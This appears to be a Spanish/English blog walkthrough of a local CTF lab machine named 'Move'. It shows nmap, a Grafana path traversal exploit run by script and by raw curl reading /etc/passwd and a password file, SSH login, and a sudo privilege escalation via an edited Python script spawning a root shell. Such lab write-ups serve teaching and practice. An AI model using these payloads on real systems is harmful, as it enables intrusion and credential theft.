MOVE MACHINE

 MOVE


┌──(root㉿kali)-[/home/kali/Descargas]

└─# bash auto_deploy.sh move.tar   

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Once the host was identified, Nmap, a port scanning tool, was used to discover which services were running on the machine. The scan revealed port 80 (HTTP), 22 and 3000 were opened.
┌──(root㉿kali)-[/home/kali]
└─# nmap -n -Pn -p- --min-rate 5000 172.17.0.2 -sV  -vvv 2>/dev/null
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-28 07:45 CET
NSE: Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 07:45
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 07:45, 0.10s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 07:45
Scanning 172.17.0.2 [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 3000/tcp on 172.17.0.2

Completed SYN Stealth Scan at 07:45, 1.08s elapsed (65535 total ports)
Initiating Service scan at 07:45
Scanning 3 services on 172.17.0.2
Completed Service scan at 07:45, 6.06s elapsed (3 services on 1 host)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 07:45
Completed NSE at 07:45, 0.07s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 07:45
Completed NSE at 07:45, 0.03s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000050s latency).
Scanned at 2026-02-28 07:45:23 CET for 7s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Debian 4 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Debian))
3000/tcp open  http    syn-ack ttl 64 Grafana http

MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.80 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Now, we can see information over website in the next pictures below.



Now, we should search on the internet if there is an exploit available as you can see below which has been discovered in https://www.exploit-db.com/exploits/50581




#Automatic process
Let´s go to execute the exploit python3 crafana.py -H http://172.17.0.2:3000 as you can see below.
┌──(root㉿kali)-[/home/kali]
└─# python3 crafana.py -H http://172.17.0.2:3000
Read file > 

┌──(root㉿kali)-[/home/kali]
└─# python3 crafana.py -H http://172.17.0.2:3000
Read file > /etc/passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
ftp:x:101:104:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
grafana:x:103:105::/usr/share/grafana:/bin/false
freddy:x:1000:1000::/home/freddy:/bin/bash

Gotha! we have got /etc/password (freddy user)

#Manual process
Let´s go to execute the exploit curl --path-as-is http://172.17.0.2:3000/public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd as you can see below.
Gotha! we have got /etc/password (freddy user)
┌──(root㉿kali)-[/home/kali]
└─# curl --path-as-is http://172.17.0.2:3000/public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
ftp:x:101:104:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
grafana:x:103:105::/usr/share/grafana:/bin/false
freddy:x:1000:1000::/home/freddy:/bin/bash


┌──(root㉿kali)-[/home/kali]
└─# curl --path-as-is http://172.17.0.2:3000/public/plugins/alertlist/../../../../../../../../../../../../../../tmp/pass.txt
t9sH76gpQ82UFeZ3GXZS


┌──(root㉿kali)-[/home/kali]
└─# ssh freddy@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:vI77ttzFmsp8NiCsxBpeZipRCZ9MdfkeMJojz7qMiTw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
freddy@172.17.0.2's password: 
Linux fc07283df66c 6.16.8+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.16.8-1kali1 (2025-09-24) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┏━(Message from Kali developers)

┃ This is a minimal installation of Kali Linux, you likely
┃ want to install supplementary tools. Learn how:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/

┗━(Run: “touch ~/.hushlogin” to hide this message)
                      
┌──(freddy㉿fc07283df66c)-[~]
└─$ sudo -l
Matching Defaults entries for freddy on fc07283df66c:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User freddy may run the following commands on fc07283df66c:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance.py



┌──(freddy㉿fc07283df66c)-[~]
└─$ cat /opt/maintenance.py 
print("Server under beta testing")


┌──(freddy㉿fc07283df66c)-[~]
└─$ ls -la /opt/maintenance.py 
-rw-r--r-- 1 freddy freddy 36 Feb 28 07:18 /opt/maintenance.py

┌──(freddy㉿fc07283df66c)-[~]
└─$ nano /opt/maintenance.py
/opt/maintenance.py print("Server under beta testing")
import os


os.system ("/bin/bash")

┌──(freddy㉿fc07283df66c)-[~]
└─$ sudo /usr/bin/python3 /opt/maintenance.py
Server under beta testing

┌──(root㉿fc07283df66c)-[/home/freddy]
└─# whoami
root

Thank you very much for reading this article

I hope you liked and learned something new

This article has been done with ethical proposes

Good Hack

Comments

Entradas Populares

TOR WEB BROWSER

INTERNAL

activedirectory

PICKLE RICK

Metasploit Framework

HOSTING

LOVE

Blue Print